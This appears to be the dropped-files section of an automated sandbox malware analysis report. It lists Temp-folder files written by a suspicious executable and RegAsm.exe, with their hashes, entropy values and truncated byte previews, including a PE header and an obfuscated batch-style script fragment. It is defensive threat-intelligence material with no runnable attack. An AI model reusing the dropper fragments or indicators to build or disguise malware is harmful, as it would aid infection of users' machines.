Preview:	....[.\...K......,. H...Mx.+W.I.....p..P=6~...`...^C0.f..DfZi.!....Y..Y?...:..q..\|h,.........rhH....D..5...........-.96..=.)....j....CD.Z.`3.+Y.L._..Lq...G..D........X......^> ..+..=.=D..O..SshMVP;0on_za C..%$C.t$+......c......U;..1>.6).W8...P../Rb.$....K....,...S.......U)6.U...0...7....z%.ode7.......5.WaCU.M..-...a.h.V+M+..@V.).N.....3./.\...Q...Je..8[U...p.od&oC...:.......u#.H.-.9..OQ.Ra/0.6.!..d......s.[#>....R....ks.m....\....a&....~..D.[E.....?g.y1jE...o4L....&.......b/...:<.v...h.1...I.C..~g.".N..,....k.Tw!..).s\..O.....o.Mn...t..).... \|9;.._...:.0R>...V....\|.................>.r.~......w+_....BCw.:?.'.....o9..cm?&......RA..H.W.. ..(.9W.Lj.....q...u.'<....b.....>.]+.}........k2...WN...../...;F........._.....~.3...g......<..._}..6...T..Q...O..........-.3il..BE&.D .fV..<...t\E...a..Nf....C.....D~"F.1.(_...~d..q.Lm....IVc.v..-.0..K.....Q...5]...<..'..h...faX..h.I......9..3...[.;L.w )...BzG...3B....K6~..+...0.%\...oAJ..C./{...

C:\Users\user\AppData\Local\Temp\Gateway

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	2591
Entropy (8bit):	5.408247452985972
Encrypted:	false
SSDEEP:	48:/Ran4xqtUzrCrt+ikNv9mJHWxPrhBlA1FygzqyIsJj/G09CAi6R7uk1IhB:/hxgUzr4tgOwVAfBzDICS09CAi6R7u+m
MD5:	8BFE7B750F5E988479E7E1311C2BE879
SHA1:	A52BC7C76A927CAA22A3BA32F9C3741DE30E939A
SHA-256:	5EE3E151B157A30EA5B03B8EEB39634FF822DE9060D366091542610F961722FC
SHA-512:	582EBCDDDE5CA8D6560F00CE1C96F7733BC3563E88A5F39877A301ECAAF48DBB3045494D735B5D3F569EA1E6D4370017454C08CE491C5F6C4DF5575170C6C8F1
Malicious:	false
Reputation:	unknown
Preview:	ContactedKnowledgeAdventureHeader..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.............................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Geology

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	modified
Size (bytes):	52224
Entropy (8bit):	7.996505307661573
Encrypted:	true
SSDEEP:	768:mPd0pa8mMtVYxOGpwJHXqvklLO4NMxalOzWgOXQaXMjmDB1jfJhmVmRY8HgI:udMtVYx9A6veq7YjN5lhmkRY8H/
MD5:	A2E1958B5E20DFFDF93C4CEB5C0D8DFF
SHA1:	B8A4ECB4D9DB6ED93FCF1FD51C8E735C25485233
SHA-256:	F753522E5076523FB4CDE8F2FCFADFF457FC53847568D3E0307814E4BC9985BE
SHA-512:	CD555E30557533818E74D0E851BCC99ECDE16180085B76869459F84A91148D8695EC9FD8576660790CDAD8B912CCFF46C3E20BC3965DBA2827112FADF6808F7D
Malicious:	false
Reputation:	unknown
Preview:	{Y7].......w..V`..E.D.y..-t..L.;....L.a..B<.Jh..L>.o.....L. ..\|...[....b..I......s$.1......@........+.0..b..H4...\.....@...<.qk..;5.iS.?..3....%.d..:Y.1.z..w.9P<..T^...8..S.@60.].G...5.{..O...k...wx<YD!.G..(?..-.C.....y.P.x...l....X.......m..~...8_.~.l..Hp.....g6f..H.D.,..;.h>.r.D..o.5...+..I....R...wU..Pq?....Y.x!..-h.<.<.(.v.9..G..L,.........QOt.( . ....I..#.:.....:.h.\|.X.>..ny.b..m..g./.u+.)......f7..@...yJ.[.%...%R../.c..$..p.........C0..d....[=7E\|. .`...sW.A....;.E..\|h(1.A..<.=v..P.@...5)U..>.Bp..m..N....] ....n..M..... @Y...?.&..~...K4..J.....M...=yV:.f.jy>...0.;..&.........EF....L...5...rx.t....:.^..[.2.....r#...P.N..%...~...A.i..M^.8...O....mp....r... ![.4.....kkubq.E..A.w.8E...]..\|_..\.3.>....3...C.{_.3...W..m...,.w..7..d............x.nO..........76]SM.."R.O....Nj.J[..C.`{....0.J,...W.0.N..$...:G..$.(.Z.I.....QO.~.......e....yW..?.....Px..g"Q.'..l.uM0o...eR....P5.L.j.^.h....A>..9Zt,l.[.vM.....2-.>}V../.nx......R

C:\Users\user\AppData\Local\Temp\Harder

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	7.99684694360264
Encrypted:	true
SSDEEP:	1536:I11iJYErtz8HbW3IyyvyzYejzijhL+qYt:Ci6EriHbWznFOW
MD5:	3EACF73E8CFA95ACB39DDFD2D9BE524B
SHA1:	362A338842A682692AEE30559D60F414536EFF7F
SHA-256:	C3A910868965D5A73044FA1592B381478F4EE142098576E1C2E8DE8D5BE028BE
SHA-512:	7B53DA3C43F249F04F88FF1C4F072D05284B8801B29A75F659D4EDEDD8FBE621B14A52C2A71801755B211F58BE76FD9F78B031CA64AD15EAA76A7131B45688EE
Malicious:	false
Reputation:	unknown
Preview:	....]D..e..sIg.h..9....5x..Vz...@Z@..(.oG.K..k.#..(%8x....d.[.\|S,~@..5?;.u.(+.....R...K.C.... ..\|...U...B.'=b..z...uFB;.....b.&....-t... .:0+.]../.aQ#..Y....._3Zd.....h...?-...T.H.V..\|...T\|r..v.6..../._L...D.......h..J................~.......g(....9...6~U..L\K.'.zc:..............Rj.t!.g.".. ......b....b......,O.1e=..0.T0(bz.....n.'.D.(..0....O.a..X...J1f.a4).....:PS..?Ms........5.P&.Og..l..b..5J..F........~...[.^.#....sf4..l.d.`.......c....h..~S..;V.Y.`............4?B.{"a(<..u...^...(e".....F..rV?g.../Nz/.K2MZ..B.:.....E..e..v..).....?.......Wqd.[1n.......4...X..p...... i..\.w..Pt.}...c......>n5$.za....W@Z.j.....(.'....7L.D.P..:.l;{.. ...........z0.AKP...}...T..v..........-....k;zc.V.0t.....@qg{31#.CA{\.....K..]Z$>.z.?...MfWq.f......]...)..aH.=M.]s}....r...1.....".....Y.......B.(.<.>.....`#l.!:.....R............Zi......M..INR./..#{........[.LDK..[......tW...ngs,..Z..'..>...;y.D..x....D....@V.a....3._C0..6...l...\|.c....2...$A.T.

C:\Users\user\AppData\Local\Temp\Hell

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	StarOffice Gallery theme \371\001, 4282422665 objects, 1st
Category:	dropped
Size (bytes):	891052
Entropy (8bit):	6.62241053623075
Encrypted:	false
SSDEEP:	12288:9pV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:9Txz1JMyyzlohMf1tN70aw8501
MD5:	5BBD8F99136ED3DF2C5E024DF6AA9A4F
SHA1:	C1B16BB7E089B56C6035280857E81F78AD778005
SHA-256:	45CE74B69ABEA02312B4B301BA5EF9E8393957555A167691AEB7BC8327084467
SHA-512:	610014BF18623E2D6554FEBC3A4ECA8B05F44A6292E8BDD9037402C90ACCDEE21BD732932D633226904615C4CB39B425A02A55456F1C2891525642B54D803B12
Malicious:	false
Reputation:	unknown
Preview:	.......Y..t..u...........>..V...6.:...V.4...YY..^...U..S..j..c...c......Y..t.V.u.W....._^....[]...3...U..].d...U......wL.V.u.WV.`......xL.....8....u/;u........E....E.........Q.u.j V....I._^..]....w..e...3.@..U....W.}....t.V.u.9=txL........dxL..........E..e...e...pxL..=txL..5xxL..}....uej.j..M.QPV....I.P.u..dxL.....I..=lxL...hxL.u..u...(.I...lxL..^.}.._t..}..t.j..u..,...P.u.....I...]..........U..=lxL..t%.u.....I..}....lxL..tG.}..tA.u...L.I..hxL...t+P.u.....I..5dxL..%hxL......I..%dxL....txL..]....u.....I..U... S.].3.V.u.3.Wj._@.E...M..}..E......e..Pj.WQV.....{..~j.U.K..C..M..E..8...........M.....Y.....2......t\HH.....HH......HH..1....}..E.E..M.....U....E..M.;S.\|..[..E.M.....p...WV......E._^[..]....}...}.t.WV.....E..8.t!...E..M..9.t..9.}..u.j.WPV......E...U.....e..SVW.}.3.C.E.....W.]...(.I..u...lxL..o.u.3.S.u..u.W....9^.~4........V..E...U..M..8.sS...@.E.........U.;F..E.\|.F.;.t.+.P........P.C....PW..$.I..v...u..u.W....._^[..]...........;.t +......Q..P.C....PW..$.I.

C:\Users\user\AppData\Local\Temp\Liverpool

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	ASCII text, with very long lines (1222), with CRLF line terminators
Category:	dropped
Size (bytes):	23648
Entropy (8bit):	5.0368097656688295
Encrypted:	false
SSDEEP:	384:wT+6Y79kepEcesFEQi0TJ+Ud3Mfw3lVywWicyTkwBh6wd0vPQGzspaTcf1B8:b6Y79kedesFEQik4ffwGicyTk8AwAPOs
MD5:	DA020655ADC3EDDE8E21CF6C5D666139
SHA1:	D1CCAF6BAAE5A5F90732E6D5CCFF791E60EE09FB
SHA-256:	F128FEC408A1CE9D97C4F4DFB41C49B3D75142EA5567E9C111393E5090FDF401
SHA-512:	96297F1777815284511C696377A6EA3CA0CA407F92CD2359CAD78EED11A43E8ADB48EF70BCD2238030622D8F327B7790BBC439CDBDE0B7C9C2EC58FAA00AEF68
Malicious:	false
Reputation:	unknown
Preview:	Set Cassette=9..BCKSaid ..yYMCExhibitions Ht Arrow Reg Fred Hundreds Cage ..jKSome Stocks Naples Gilbert Lucia Wash Posting ..dWTown Belgium ..BFbMWorried Nearest Fountain Did ..jbiPros Ntsc Arrives Nipples ..RLSvImpose Carpet Dutch Irs ..MuWanting Alternative Stakeholders Software Playlist ..RKyNeo Company Changed Be Slow ..DKNirvana Zoophilia Diagram Winners Pirates Climate Athletic Entrepreneur ..Set Discusses=a..uAQueens Journal Briefly ..TWLCop Refund Digital Directed Diego Depends Fork ..YVSydney Libraries Listed Puzzle Aquarium ..IFModeling ..YstUNiagara Publish Ringtone Powerful ..iRPAHarris Toy Sing Valves Vegas Read Covering ..HOlAttention Forgot Crash Extraordinary Prep Connected Corp ..VpaQNokia Cr Current Russell Rates Populations Reason ..dOSearching Bean Operational Donate Retreat Rhode Indicating ..Set Bright=r..HcnvParish Mounting Resolutions Showed Debut ..qpsWt Shed Track Blanket Ipaq ..MEnNorthwest Mission Until Accommodation Charge ..jDWXRestrictions Fellowship Dis

C:\Users\user\AppData\Local\Temp\Nikon

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997514785927976
Encrypted:	true
SSDEEP:	1536:MeCdCP6FEpxW1HQO8uNM7dfujyuDaM97s1dJz/ZmH2QPrmQiG:MLdCPKwoH/8iqdfWDa+SdJz/cNiQd
MD5:	5AE8504E7C2763E163D61670EBA9EFF8
SHA1:	53B710982DD2D62B4F9EEC95E29AF6BE8497809C
SHA-256:	A05AB2D0897C4C9BD7CDBFEBA9BA7A958C1A05257D64890EF28C77CBD610D4E6
SHA-512:	3B5D5CD29C218508CED4CE154A6E9C20EAF0898588098C54C2E1951CEFFAE03CEA1F4C8931BE0AE472718A11CEB0EC98AAE76014A18C4F98C576AE3AB434DDA6
Malicious:	false
Reputation:	unknown
Preview:	K.NR...T.q.l..E+.o....1.....Ew7.....n...cQ......W3..2.3......9.R..s...j]..$.j.w ..I..6:...)....kd.w.CI.r.}....@.o5I..p=..b.4....Z..&g.....z+..A8td..a5Z9.I.>.....C.0.{Q2\W.V.o..Y}.P.....;..}.1ce.mD.fs...v8bx.A........X....q.=%...........v.1Z%V^_w...\...].g(9..nm.wr.....f..O.C.z..bL.)..~6.x=.S......\(4.mmPT.su.. .N..N.6.)xc8.,.........U..:...L...Q.m.......4.' ...1.Y.v<..._.,....;.t.....@L.5..3.YUe.?..0A....b..........o._...+..-<.T..D.&.6...J5.._fk.O...z...sj.YV_>......}.e.biM.'g....t._..Ml..@...@.;7RI..E]..C).i.q.e.0...b.!.(.#.&}.`2t....F.D#....$.&1.&(]....5....N.g....9...>X.....t...7.p .HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rq...7.G.'.F...h.............Z.....0Z.....0kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}

C:\Users\user\AppData\Local\Temp\Pics

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.99689289190858
Encrypted:	true
SSDEEP:	1536:+aUQ2q/iZpKRhisl+uvVWNchUdyFJAyxL6bH+IlvPBq:+aU3NH8hF+xNcIEJnLMeQk
MD5:	FF8CBBF11428CD1454D22AD168356AB5
SHA1:	8BDFD37E4F54F5842F606B560C236C5440E82E65
SHA-256:	4A4440AD3F681D0CF1100D11BA06E6F670289B35A3F4E1A93AE6A55A7792A958
SHA-512:	96828CF116CB9CE8D36429B23C369A8A3EEF79E81AC3B22F0A73D675D7D68315332084E7933B4B0004530EE6646285D6639692AA9C3E9F9A13B96E104754C907
Malicious:	false
Reputation:	unknown
Preview:	..\.U>.....9ao..w7]...g...Q.[....9..YP..g.._(.)>.C'&..]K....f.....w(.df......#....Sv..E..%V.+d.$.(....W)wQ...:..\.7..s7.B.$..z....-\s.....U.....[....S..H!Z. ..8...L..C..hB.Q...+ru.'D.c.B...u4.Lb...\..u....c.W...9e.....;.,....%.'.tC6..@-.F......y..t..%H.1ec.#........ %.3..#....6..m .m....f...v(M.+.Os.D&..8.p....~......."....M..x..,UA.....y..v..T......\.';#...`..f}.~..~..9....\.Q..@.`....H..No....Hqjf.......2$.%.6%...\|..^.=.N......X..}.._.-.....=....g.."...._~w...Z.\|./.&.....N...$8....8...e;.......\|...2Hj=>..n..wm.;.s>..RF&...r\|...P^K...${...[..y...$......k....w.\|L:.b.<.Ku........St.......#.<.m..g..%...`...m..lU1.\.`J}....a......0...Z.t#..$o0..aC..C.zq%b...@+[.}K.yx.Y..Xh4Y>.6?.i...A.a......Fq....+..e.\|..0.$..............."...t.Z.i3.4D..M...\Q..j..(...U.....K.}.w..j..<(...)...S8.}Rz.8.9~/J.L.{....>e\|U."G.....@G8E..z..l.}...K1.u.t././bq.!.c..&...<.a..).{.=.d[T`w...f}%-...ae.....k.?Lk..Ny..d...ax..p...Z.(..,q...~;...9r....4.Y...L@..r. ../Io.`.....(,qz.

C:\Users\user\AppData\Local\Temp\Reef

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	7.996575176768974
Encrypted:	true
SSDEEP:	1536:fAX3umif1hXqamMOa6c/xOXbkTSiyJAr/RPhzz7Jyx:Pf+MOwebkTAmrZP9z7Mx
MD5:	1463261DAE0DFB03653982032F5C2D93
SHA1:	B9E70E6B6940B1798E8DDFE298A84DCCBD287F4C
SHA-256:	34FAD31ECE124CDECEE808223DA8D56FDBE014068E968BDD5BF65ABF13FA8A98
SHA-512:	2B8655F6AE42F1681B49515DB2C2CCA964AB5751E45B9E08E3D6B42DC7478671536DB19E041CFFAA135DB2F76C95E5F9655085D86FB782B05CE11B8E7F6D21BC
Malicious:	false
Reputation:	unknown
Preview:	.8......Nt..V......E....&s....G.b....r..O.43.5.@lRk...V.0......_.)h.N..b...)M@4.+....f$...l...M..o..."..^....t..E..N5.F...r?T.f...E..........I.3.D...0.F.KCg....k...}.w...!.4..8....+......#.h.!.,P...)..e..m.J...N\...LK..H..U.S.'..HM....KQ.M.......Yi...dz..._G.+v....K...t.!O^....2..#^...lJ.G.W(..i.w..._\|/^.N.Z..`5..,.#^..I...q.a.X... s.]I..}%.._S.....IT.dsv..:...uZ......{4..0q...S....e..Vct.$.q:f. ."=..;>.NK.......D,.f.3.)....'MA.v\|....cF...F....Oj....5'wbXi`(.=o...........:w.._..=._T........y....?T.c.../e.....EF.B..].q.(2...#...A....d.M^...OV..."..(.'.l..3.....s..8....;.h..>.mK...7....~-.?rK.....x.......D.....{.{+..ZT.....V\..... .........S..^IO.....b...qmdv...............X$q.^.\|C..{L..K..Q....:.z}.Z......m\|q:.z>.HVk...^w.t..]..+...p?....._...Ky...w.....OL...([}X:...P.....(]"B}....[...J.EH...om_...>...M:P...Zm.-....T....[...R...)..ZT.l\|..(]3......}m-c../~.]$.....3].-5..+..M...\|~...g-......0.C.]...>!.#.3.N.+..{R.yN..E..0H.....DD...u.

C:\Users\user\AppData\Local\Temp\Sealed

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	7.997833818570248
Encrypted:	true
SSDEEP:	1536:4WME4jRaUQEhHtPK5+RF5Fb/bw8riukeyARM+8ZukzPSzV8XZWbA//mScQZJV3ZN:9MEshQEhN+oj908+WoZ3Q8XZWbAnUQZj
MD5:	0A676810C0884387D252818F9FFB9E4E
SHA1:	08BFB56364255C3E6B8BF0EDEFE7586685EB4CFE
SHA-256:	033437D7D0A8E50024E84E9CBBFB336953D76717A571B986D38C88DC6FE9C97E
SHA-512:	6DC6B01EE667700AF56F2181CF9C9355F2BF87FD80E343F62EEF062F222C3FAAC7842A61AA97D2FB0D665CC9565C64C38CDEBCD79B0CDE2676DE158584FFC3FA
Malicious:	false
Reputation:	unknown
Preview:	.V.....2.X ...8i'...z.Z..7..Uq....N..l.$Z3n.r".VU.:.......-?.d.EYP..R.dJ..\|.......S)c."p..G.F.g.u_.M.I.I.>CJ....Y..D[v...6N=2..%e......q[.o..9...T....0.........9H.!Mx&M.v..T.vss...Dz_{p.........A.f....=f.b.,.u.-KI..d....\..#...N3E..`_.Z..Vd.j..R@3&.%..a.....c..Ih.).n.(..Q...o...U.}....@}H.r..j._.+.Xr..l.Lb.{m0.M.....n..ngZ..WrE\|...o\....c.J{s.y.Q[...J..4....x....:.F1..k..A.ah.x....{.<`..5..t50.c....q.6..7.....3.....p.S.<z..M..&4.P...8p.T.\..E[.....v.k.>)Nk0S.:.....A.v..F...Q.BG..IOR.......x.v..Zb.g..?J...IH..4..np...Y\|.V.0.~0...{...y......h.\|..............Z....]..a`.,..ly.&...m.'+@.\..vD...v5.e3...1Qw.;..C...#.....aV.t. ..pxSI....{-vG.....i.y....x...X....%.k..T;.\.t..ut._v....?.@..H>..O.]j.......J.k...d.."......\.{Rl.~...(....)~......aY gy...{.U...vS....s.GB.........t0..#z}/..7.../.y.:....K.=.Y.... ...<.JdE.r....$a?....=.>#\|!...ey..0PB.%..Cn...,.[}c..t-#.c.#..E.V.=.le.'.k7.&a\|f....aJ.2E5'..6.X{.:.p..^9D@...@....9=.z"..

C:\Users\user\AppData\Local\Temp\TmpA21D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpA22E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\Trader

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.996842075666853
Encrypted:	true
SSDEEP:	1536:eLCy2bf9TgTw5O21/Auv1jBD/QddUviDJKTP0XQ4UEMG9:QClzRgNyVD/QQvyJKIQi
MD5:	7631662ABBDD481AA67FD4BE3B13FF49
SHA1:	8786C612BD70D18AC8A1DCB582566E20A287C856
SHA-256:	D837AE969AADD8E3E7F00A53FD0C7109B33A8C9677FEFA77E8139F6E36D0E5B0
SHA-512:	255BD7BE390F18CCD5F26E54600E73D62F45FB115FF3464166A9CE0DFE2920191EC02F6A5DF41A870492C17E64DA00657C2967FD5E828E28B1213CF1443BBB6D
Malicious:	false
Reputation:	unknown
Preview:	..~.2.r...~.....B.4Y....MXng..hB.PL7.,.K..x..x....7..M....3.3......A...io.E...C.MQ.D}..RU4..fhj.ZdAR........b.H(..J.Q.&..s......d..DT.<T....M^..................-6.Is..3.0.?.@H.!.LzgS+L..i."BNaEM.wuXYi$..AG..T..n_{..5.x...0s.....TR_.{.$..ZAj.0.Ur..P\...7,j...l>...5k.\|.......d.......z..l.i&%............C..L6..E.z.1W...W....?T....i=.>.G.Mn.1#~YC.o.rmp&...ni....._h.Qs<......(.g.P..a.....NO.a;E&.............p..j.z.L...p.P.F....Vv.R...@d..[N..U..j..p..^..$.V..S..SbG...H.T.........4A?..qcADs.Q~.5..`."..#;W"..jY.P...f.....$..E.....T~..:.p..@.....W.l.*[.."..ai.a......O.2.......C0E.....r.......^@.0?.a..\|7.~.JvWn.....7."LH.D....4."....N..=.A....(.....e<[....R.............!F........f......%.(...."G..U.3......D.%..........W. .r3..4.4..+.\Ajo.....Q.....u.B-...>.u.......p...F.....d.2..o...M.]Z...<u;.\|P...':.t6t..4...8......,LKAX.M...<..VD..!.9V.9....U"....HP..Q...EO...:W..1}..x..!.f...$Op3h..=..S.f........D.L.k..9x..'(....y..).8.+.=S{.....&.q..'...x..Y..Qwl

C:\Users\user\AppData\Local\Temp\Wheel

Download File

Process:	C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
File Type:	data
Category:	dropped
Size (bytes):	60749
Entropy (8bit):	7.9974910407339355
Encrypted:	true
SSDEEP:	1536:k73W+/A4WDLGIeTjXossg2VXe63VZ8Wq62dxe4NSF:gG+/AFg3m9VXnZ9qLdLSF
MD5:	363219A08442F37CBE0EFC83697F894E
SHA1:	A29E89451BFEFAE4293CAE9A2A28984B9EE01B83
SHA-256:	E6F733E32D95237E87EEAF1395887898AA67C9E9099553DEDD846796E5D3EABD
SHA-512:	F175D65533080A436B892929B1FBB8569CE4C71584EAA216AF2BBC13FA7DD3D8469FAE495CC986C6E80D320767F6CC4E931078041C850B13703240A34DA8BEBA
Malicious:	false
Reputation:	unknown
Preview:	%./..&.'..p.:..7..~D..a..q..Q^..&GQ......r}6...JoB.5 N......._.a..J.E..@..$!. ....m...E..co....4b8Pf..>;...........o&.:/k.. ....J.y...q....vd..... .E-.>;d..v.t..XC....d.....7.3..S-.....6.?...q..g.....j....BE...nM:..%s.#.....\|...L...r............._.......F.:....2.;.,.76.(}G..(..w....^..R~{7....%.... ....z...'5E.\|.ym..z....m.r........7..\VrS.iy....(....6T.^O'[....\|....+\|&F...[...g.p.....[.h.'KJ6..<..q#..Q.a.w._..!A..>.#.z:.vy,+.._...N"..d.l..ha......C&.....g.lO..b...{0)J......(.%.......z.5A.0Q2..v.BAr1.].Z...........b~.fo........'b.....k..[.`..P.v.Sz..;.IM{,....Z..... ..@.\|".g..........y..>..?rG...c.Rv....z....^9ovX.N&.!0..-.........r.G.me~p.\|.=.....w).JCA X......-u....i....\......J.1..Q....8l.W.#t...\|.....U....7.!.*R......r..F%.'.%.....V}..>.^"....A._..q7x.).Vd..+.$..m^f...WB..m.\|...7..(.........8.;4..Fp.g....A.p./..RN.P9AH.3..4j$........y.x..:.......H..\./p...t..r.Xj$E^K...+....Fk....j..c........?.kN.Z..&.1....v&#.7.L.G%d@.U..,"..

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	OpenPGP Secret Key
Category:	modified
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:ff7:r
MD5:	BF938BB7AA5AC1FB3A22F31DF52E21FA
SHA1:	AB164AEA13C1370EC1F0BCDC68CBC9B6812F7C22
SHA-256:	117CB93E97C77169DEA6636AF71E60B6C2FC18FE82552544976C0A2C9C45DC71
SHA-512:	E6C6A8EF8A71F9923349C607557228D947303FB4A1B0EB359538BDB59CFB4B95DFA7CCC1AA58AC96DB9C565543D27F7BC7C8473CF3BBFA6F746E1EFD2987F790
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-6NF9Q.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Reputation:	unknown
